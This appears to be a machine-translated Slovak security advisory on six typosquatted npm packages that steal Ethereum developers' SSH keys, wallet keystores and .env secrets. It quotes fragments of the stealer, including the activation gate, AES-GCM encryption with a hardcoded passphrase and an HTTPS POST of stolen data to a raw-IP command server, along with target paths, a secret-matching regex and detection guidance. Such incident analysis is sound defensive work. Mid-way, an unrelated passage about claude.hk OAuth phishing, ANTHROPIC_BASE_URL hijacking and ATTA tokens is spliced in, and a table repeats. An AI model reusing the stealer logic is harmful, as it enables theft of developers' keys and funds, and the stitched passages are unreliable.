Útok typu „typosquatting“ v EVMDeFi npm kradne kľúče vývojárov

Útok typu „typosquatting“ v EVM/DeFi npm kradne kľúče vývojárov

TL; DR

6. mája 2026 jeden vydavateľ npm, namikazesarada010206, spustil šesť škodlivých balíkov zameraných na vývojársky ekosystém Ethereum, Solidity a DeFi.

Balíky, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsa web3-utils-core, používali vierohodné názvy navrhnuté tak, aby vyzerali ako pomocné knižnice pre populárne nástroje Web3.

Všetkých šesť balíčkov obsahovalo to isté telemetry.js súbor. Súbor bol bajtovo identický v celom klastri s použitím SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malvér sa nespustí počas inštalácie. Neexistuje žiadny preinstall or postinstall háčik. Namiesto toho sa aktivuje, keď je balík importovaný cez require().

Na tom detaile záleží.

Implantát čaká, kým vývojár skutočne použije balík. Potom skontroluje, či pracovná stanica vyzerá ako skutočné vývojové prostredie Ethereum / Solidity. Hľadá kľúče Alchemy alebo Infura, súkromné ​​kľúče, mnemotechnické pomôcky, kľúče nasadzovača alebo lokálny adresár Foundry.

Ak sa hostiteľ zhoduje, zlodej zhromaždí súkromné ​​kľúče SSH, úložiská kľúčov peňaženiek Foundry / Geth / Brownie, .env* súbory a citlivé premenné prostredia. Zašifruje balík pomocou AES-256-GCM pomocou pevne zakódovanej prístupovej frázy a exfiltruje ho do surového koncového bodu IPv4 C2 s vypnutým overením TLS.

Systém včasného varovania pred škodlivým softvérom (MEW) od spoločnosti Xygeni potvrdil všetkých šesť balíkov ako škodlivých. Čaká sa na schválenie balíka s hlásením o odstránení z registra npm.

Klaster: Šesť balíkov, jeden vydavateľ

Účet vydavateľa namikazesarada010206 bola prepojená s neoverenou adresou Gmail namikazesarada010206@gmail.com.

Kampaň sa objavila ako jednodňová publikačná vlna 6. mája 2026. Všetkých šesť balíkov bolo verzovaných ako 1.0.0, nemal žiadne závislosti za behu a dodával iba tri súbory:

package.json index.js telemetry.js

Tiež deklarovali rovnaký zdrojový repozitár:

https://github.com/harunosakura030303-maker/evmchain-config

Prvé tri balíky boli zachytené skenermi MEW pri prvej publikácii. Zvyšné tri boli vynútene označené po kontrole profilu npm vydavateľa analytikmi. Keď boli rovnaké bajtovo identické telemetry.js bolo potvrdené v celom klastri, boli z dôvodu konzistencie uzavreté ako škodlivé.

Balíček verzia Publikované npm Lístok na MEW Verdikt
viem-core 1.0.0 2026-05-06 01:38:44Z # 51049 Zlomyseľný
viem-utils-core 1.0.0 2026-05-06 # 51050 Zlomyseľný
hardhat-core-utils 1.0.0 2026-05-06 # 51051 Zlomyseľný
evm-utils 1.0.0 2026-05-06 # 51069 Zlomyseľný, podľa konzistencie
zlievárenské nástroje 1.0.0 2026-05-06 # 51071 Zlomyseľný, podľa konzistencie
web3-utils-core 1.0.0 2026-05-06 # 51070 Zlomyseľný, podľa konzistencie

Stratégia pomenovania je jednoduchá, ale účinná.

Tieto balíky nekopírujú presné názvy upstreamových programov. Namiesto toho používajú vierohodné prípony „utility“, ako napríklad -core, -utilsa -utils-coreVďaka tomu vyzerajú ako sprievodné knižnice, ktoré by vývojár mohol očakávať v blízkosti nástrojov Web3.

Škodlivý balík Legitímny cieľ
viem-core viem, populárny klient TypeScript pre Ethereum
viem-utils-core viem
hardhat-core-utils ochranná prilba, mainstreamové vývojové prostredie Solidity
evm-utils Generický menný priestor nástrojov EVM
zlievárenské nástroje zlievareň, nástrojová súprava Solidity
web3-utils-core web3-utils, pomocníci Web3.js

Toto je vzorec „doplnkového balíka“: nie „Ja som skutočný balík“, ale „Vyzerám ako rozumný pomocník okolo skutočného balíka“.

Pre vývojárov DeFi, ktorí sa rýchlo pohybujú, to stačí na vytvorenie rizika.

Čo sa stane pri importe balíka

Útočný reťazec je malý, zámerný a zameraný na prostredia krypto vývoja.

Neexistuje žiadny inštalačný háčik. Namiesto toho každé balenie obsahuje index.js ktorý exportuje funkcionalitu stubu a potom načíta modul škodlivej telemetrie.

require('./telemetry').init();

To znamená, že malvér sa aktivuje pri prvom importe.

To je pre útočníka z prevádzkového hľadiska užitočné. Mnoho skenerov a sandboxov sa zameriava na správanie počas inštalácie. Tento balík čaká, kým ho vývojár, skript zostavenia, testovacia sada alebo cesta za behu skutočne nepoužije.

Aktivačná brána: Spúšťa sa iba na skutočných vývojárskych pracovných staniciach Web3

Najdôležitejšou časťou implantátu je aktivačná brána.

Malvér kontroluje premenné prostredia, ktoré sa bežne nachádzajú na počítačoch vývojárov Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Taktiež skontroluje, či je Foundry nainštalovaný:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ak nie je splnená ani jedna z podmienok, funkcia vráti hodnotu a neurobí nič.

Vďaka tomu je balík v generických analytických prostrediach tichší. Pieskovisko bez kľúčov Foundry, Alchemy, Infura, súkromných kľúčov alebo mnemotechnických pomôcok môže pôsobiť neškodne.

Na zodpovedajúcom hostiteľovi čaká malvér 60 až 90 sekúnd pred zhromaždením:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Toto oneskorenie znižuje zjavnú koreláciu medzi dovozom a odvozom. .unref() volanie tiež umožňuje hostiteľskému procesu normálne ukončiť proces, ak bol balík importovaný v krátkodobom skripte.

Toto nie je hlučné správanie typu „rozbi a chyti“. Je to cielený stealer, ktorý je navrhnutý tak, aby sa nespúšťal, pokiaľ sa vývojárske prostredie neoplatí ukradnúť.

Čo zlodej zbiera

Po prejdení aktivačnej brány malvér zhromažďuje dáta zo zdrojov, ktoré sú pre vývoj Web3 najdôležitejšie: súkromné ​​kľúče, úložiská kľúčov peňaženiek, prihlasovacie údaje pre nasadenie, cloudové tajné kľúče, npm tokeny a konfigurácia lokálneho projektu.

zdroj Čo sa zhromažďuje
process.env Ľubovoľná premenná zodpovedajúca /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Súbory obsahujúce PRIVATE KEY alebo BEGIN OPENSSH vrátane celého obsahu súboru
~/.foundry/keystores/* Súbory úložiska kľúčov peňaženky Foundry
~/.ethereum/keystore/* Súbory úložiska kľúčov peňaženky Geth
~/.brownie/účty/* Súbory úložiska kľúčov peňaženky Brownie
${cwd}/.env Celý obsah súboru
${cwd}/.env.local Celý obsah súboru
${cwd}/.env.production Celý obsah súboru
${cwd}/.env.development Celý obsah súboru
os.názovhostiteľa() Metadáta hostiteľa
crypto.randomUUID() Identifikátor obete/relácie
Date.now() Časová pečiatka zbierky
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Tokeny ATTA sú:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nedokázali sme potvrdiť, či telemetria pochádzala z vlastných analytických údajov operátora alebo zo samostatne monetizovaného kanála. Tokeny ATTA sú v oboch vzorkách, ktoré sme skúmali, rovnaké.

Klaster B: heibai

claude.hk OAuth Phishing + Únos adresy ANTHROPIC_BASE_URL

Vzorka z 1. apríla je hrubšou, skoršou časťou kampane.

heibai:2.1.88-claude.hk-4 bol publikovaný wuguoqiangvip28, účet vytvorený 7. júna 2025. Balík sa explicitne verzioval proti legitímnemu 2.1.88 Antropické uvoľňovanie.

Neobťažuje sa s CA-cert MITM. Namiesto toho klame používateľovi o koncovom bode OAuth.

Medzi škodlivé doplnky k uniknutému zdrojovému kódu Claude Code patria:

zdroj Čo sa zhromažďuje
process.env Ľubovoľná premenná zodpovedajúca /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Súbory obsahujúce PRIVATE KEY alebo BEGIN OPENSSH vrátane celého obsahu súboru
~/.foundry/keystores/* Súbory úložiska kľúčov peňaženky Foundry
~/.ethereum/keystore/* Súbory úložiska kľúčov peňaženky Geth
~/.brownie/účty/* Súbory úložiska kľúčov peňaženky Brownie
${cwd}/.env Celý obsah súboru
${cwd}/.env.local Celý obsah súboru
${cwd}/.env.production Celý obsah súboru
${cwd}/.env.development Celý obsah súboru
os.názovhostiteľa() Metadáta hostiteľa
crypto.randomUUID() Identifikátor obete/relácie
Date.now() Časová pečiatka zbierky

Cieľový zoznam je veľmi špecifický. Nejde o všeobecnú krádež prehliadača ani o všeobecné získavanie prihlasovacích údajov. Je určený pre vývojárov, ktorí vytvárajú, testujú, nasadzujú alebo prevádzkujú aplikácie Ethereum.

Zahrnutie úložísk kľúčov Foundry, Geth a Brownie je obzvlášť dôležité. Tieto súbory môžu predstavovať priamy prístup k peňaženkám alebo identitám nasadenia. Ak ich útočník dokáže spárovať s heslami, mnemotechnickými pomôckami alebo tajnými údajmi prostredia, môže byť schopný presunúť finančné prostriedky, vydávať sa za nasadzovateľov alebo ohroziť operácie inteligentných zmlúv.

Šifrovanie pred exfiltráciou

Škodlivý softvér šifruje zhromaždené údaje pred ich odoslaním.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Pevne zakódovaná prístupová fráza je:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Konečné užitočné zaťaženie je zabalené ako JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Šifrovanie samo o sebe nerobí malvér pokročilejším. Sťažuje však kontrolu siete. Obranca sledujúci odchod by videl dáta JSON, ale nie ukradnuté kľúče, súbory peňaženky alebo... .env obsah bez pevne zakódovanej prístupovej frázy a dešifrovacej logiky.

Exfiltrácia do surového IPv4 C2

Cesta exfiltrácie je pevne zakódovaná:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Škodlivý softvér odosiela údaje do:

https://76.13.37.80:8443/api/v1/telemetry

Vynikajú dva detaily.

Po prvé, C2 je surová IPv4 adresa, a nie doména. To eliminuje potrebu registrácie domény a zabraňuje niektorým detekciám založeným na doméne.

Po druhé, overenie TLS je zakázané pomocou:

rejectUnauthorized: false

To umožňuje malvéru akceptovať akýkoľvek certifikát vrátane certifikátov s vlastným podpisom. Inými slovami, útočník získa šifrovaný prenos bez potreby platného verejného certifikátu.

Neexistuje logika opakovania ani záložný hostiteľ. Chyby sa ticho preberajú. Vďaka tomu balík zostáva v tichu, ak je C2 offline alebo nedostupný.

Prečo je táto kampaň dôležitá

Väčšina škodlivých npm balíkov zameraných na vývojárov sa zameriava na získavanie širokých prihlasovacích údajov: npm tokeny, kľúče AWS, tokeny GitHub alebo .npmrc súbory.

Táto kampaň zužuje cieľ.

Hľadá známky toho, že stroj patrí vývojárovi Etherea alebo Solidity. Potom vyberie presne tie aktíva, ktoré sú v danom prostredí dôležité: úložiská kľúčov peňaženiek, súkromné ​​kľúče, mnemotechnické pomôcky, kľúče nasadzovača, .env súbory a SSH kľúče.

Vďaka tomu je kampaň pre Web3 tímy nebezpečnejšia ako generický npm stealer.

Úspešná infekcia by mohla odhaliť:

  • Nasadzovacie peňaženky
  • Kľúče správcu inteligentných zmlúv
  • Kľúče poskytovateľa RPC
  • Prihlasovacie údaje pre nasadenie do cloudu
  • publikačné tokeny npm
  • SSH prístup k infraštruktúre pre vývojárov alebo budovanie
  • Tajomstvá projektu uložené v .env súbory
  • Úložiská kľúčov peňaženiek pre Foundry, Geth alebo Brownie

Názvy balíkov tiež jasne ukazujú sociálne inžinierstvo. Zameriavajú sa na ekosystém vývojárov Web3 prostredníctvom známych názvov nástrojov: viem, hardhat, foundry, evma web3.

Aktér nemusí robiť kompromisy v skutočných projektoch. Potrebuje len vývojára, ktorý nainštaluje niečo, čo vyzerá ako rozumný sprievodný balík.

Indikátory kompromitácie a odhalenia

Balíky a vydavateľ
Pole Hodnota
vydavateľ npm namikazesarada010206
E-mail vydavateľa namikazesarada010206@gmail.com
email overený Nie
SCM overená Nie
Skóre reputácie 1.0
Balíčky viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
verzia Všetky 1.0.0
Zdrojový repozitár https://github.com/harunosakura030303-maker/evmchain-config
Potvrdené škodlivé Všetkých šesť balíkov
sieť
Typ Hodnota
Koncový bod C2 https://76.13.37.80:8443/api/v1/telemetry
IP C2 76.13.37.80
Port C2 8443/tcp
Správanie TLS rejectUnauthorized: false
Schéma užitočného zaťaženia {"v":2,"iv": ,,d": ,,t": }
Súbory a haše
Typ Hodnota
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Rozloženie balenia package.json, index.js, telemetry.js
Počet súborov 3
Približná celková veľkosť 3.4 KB

Aktivačné signály

Škodlivý softvér kontroluje tieto premenné prostredia:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Taktiež kontroluje:

~/.foundry/

Cieľové cesty hostiteľa

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kolekcia Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Poznámky k detekcii

Túto kampaň zachytáva niekoľko pravidiel bez nutnosti úplnej behaviorálnej analýzy.

Najprv skenujte súbory lockfiles a vyhľadajte šesť názvov škodlivých balíkov:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Akýkoľvek zápas v package-lock.json, yarn.lock, pnpm-lock.yaml, Alebo node_modules história by sa mala brať ako vážna udalosť.

Po druhé, monitorujte procesy Node.js, ktoré čítajú cesty k úložisku kľúčov peňaženky:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Toto je zriedka legitímne správanie pre balík importovaný ako pomocná závislosť. Je to obzvlášť podozrivé, keď po ňom nasleduje odchádzajúca sieťová aktivita.

Po tretie, blokujte alebo upozorňujte na HTTPS pripojenia, aby:

76.13.37.80:8443

Najmä ak je cesta požiadavky:

/api/v1/telemetry

Po štvrté, hľadajte npm balíky, ktoré kombinujú tieto vlastnosti:

  • Nový alebo málo reputujúci vydavateľ
  • Neoverený účet Gmail
  • Názov balíka susediaceho s Web3
  • Žiadna zmysluplná história úložiska
  • Rozloženie malého balenia
  • index.js ktorý načíta telemetrický alebo pomocný súbor
  • Žiadne závislosti za behu
  • Zbierka citlivých premenných prostredia
  • Prístup k úložisku kľúčov peňaženky

Tento vzor je užitočnejší ako jeden IOC, pretože ďalší balík môže zmeniť IP adresu, ale zachovať rovnakú logiku zacielenia.

Kontrolný zoznam pre reakciu na kompromis

Ak vývojár použil jeden zo šiestich balíkov a jeho prostredie zodpovedalo aktivačnej bráne, považovať pracovnú stanicu za kompromitovanú.

To zahŕňa počítače s nainštalovaným Foundry, kľúčmi Alchemy alebo Infura v prostredí, súkromnými kľúčmi, mnemotechnickými pomôckami alebo kľúčmi nasadzovača.

Odporúčaná odpoveď:

  • Odpojte hostiteľa od siete.
  • zachovať node_modules, súbory zámkov, história shellu a relevantné protokoly pre forenznú analýzu.
  • Otočte každý pár kľúčov SSH pod ~/.ssh/.
  • Striedajte kľúče peňaženky pre každý úložný priestor kľúčov pod ~/.foundry, ~/.ethereuma ~/.brownie.
  • Presuň finančné prostriedky do nových peňaženiek.
  • Otočte každé tajné tajomstvo uložené v .env* súbory v repozitároch, v ktorých vývojár pracoval.
  • Striedajte tajné atribúty prostredia zodpovedajúce regulárnemu výrazu kolekcie vrátane kľúčov AWS, tokenov npm, tokenov nasadenia, kľúčov API, súkromných kľúčov, semien a mnemotechnických pomôcok.
  • Auditujte aktivitu cloudu, npm, GitHubu, poskytovateľa RPC a blockchainu od prvej inštalácie balíka.
  • Pred opätovným použitím znova vytvorte obraz pracovnej stanice.

Čo by si mali obrancovia odniesť

Táto kampaň ukazuje, ako sa typosquatting v npm vyvíja v ekosystémoch pre vývojárov s vysokou hodnotou.

Aktér nepotreboval perzistenciu. Nepotrebovali zmätok. Nepotrebovali ani spustenie počas inštalácie.

Namiesto toho sa spoliehali na tri veci:

  • Pravdepodobné názvy balíkov Web3
  • Aktivácia iba na skutočných krypto vývojových strojoch
  • Priama krádež súborov a tajomstiev, ktoré sú pre vývojárov Etherea najdôležitejšie

Vďaka tomu je kampaň ľahko prehliadnuteľná pri širokom skúmaní a nebezpečná, keď sa dostane do správneho prostredia.

Pre tímy Web3 je ponaučenie jasné: zaobchádzajte s názvami závislostí ako so súčasťou vášho modelu hrozieb. Balík, ktorý vyzerá ako neškodný pomocník, sa stále môže stať najkratšou cestou k napadnutiu peňaženky.

Nahlásené do registra npm. Tento príspevok aktualizujeme po odstránení účtu vydavateľa a balíkov.

nástroje na analýzu zloženia softvéru SCA
Stanovte si priority, odstraňujte a zabezpečte svoje softvérové ​​riziká
Získajte svoj bezplatný účet.
Nie je potrebná kreditná karta.

Zabezpečte si vývoj a dodávku softvéru

s produktovým balíkom Xygeni